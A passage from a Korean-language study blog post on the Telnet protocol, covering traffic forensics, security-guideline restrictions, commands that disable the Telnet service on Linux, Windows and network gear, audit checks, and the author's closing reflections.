Wireshark의 “Follow TCP Stream” 기능으로 행위 재구성
로그 상에서 시도된 로그인 계정 및 명령어 시퀀스 분석

또한, Telnet 통신은 대부분 시간 정보와 함께 기록되므로 침투 시간대 추정, 내부 이동 경로 파악에도 매우 유용하다.

7.4 보안 가이드라인에서의 Telnet 제한

대부분의 보안 가이드라인에서는 Telnet을 취약한 프로토콜로 명시하고 사용 금지를 권고하고 있다. 특히 인증 및 관리에 사용하는 경우, 이는 명백한 보안 위협으로 간주된다.

대표 가이드라인의 권고

국가정보원 보안권고: Telnet, FTP, rlogin 등 평문 인증 프로토콜 사용 금지
NIST SP 800-123: 서버 접근은 반드시 SSH 또는 SSL/TLS 기반으로 구성
CIS Benchmarks: 불필요한 Telnet 서비스 비활성화, 필요 시 포트 접근 제한
OWASP IoT Top 10: Telnet 기본 활성화는 "불충분한 보안 설정"으로 분류

보안 설정 예시

Linux: systemctl disable telnet.socket 또는 /etc/xinetd.d/telnet 비활성화
Windows: sc config tlntsvr start= disabled
네트워크 장비: no service telnet, transport input ssh

감사 기준에서의 점검 항목

불필요한 서비스 활성화 여부
관리 포트 보호 조치 유무
암호 정책, 인증 로그, 접근 제어 정책 등과의 연계

보안 인증(ISMS, ISO27001, NIS 등) 에서도 Telnet 서비스가 발견될 경우, 관련 보호 대책이 수립되지 않았다면 위험 지적으로 이어질 수 있다.

8. 마무리

조사, 정리, 작성 모두 역대급으로 힘들었던 주제였다. 시간만 거의 6시간은 쓴 것 같다.

텔넷을 대충만 배웠을 때는 그냥 "암호화가 안 되어 위험한 프로토콜" 정도로만 생각하고 넘어갔는데, 직접 파헤치기 시작하니 무슨 토란 줄기처럼 줄줄이...

그래도 정말 많이 공부가 된 것 같다. 리눅스 환경에서만 접해봤던 telnet을 조금 더 구체적으로 알아보고, 실제 환경에서 어떻게 취급되는지를 조금이나마 알아볼 수 있었던 시간이어서 뿌듯했다.

goldenGlow_21

안드로이드는 리눅스의 꿈을 꾸는가

이전 포스트

Daily CS) HoneyPot

다음 포스트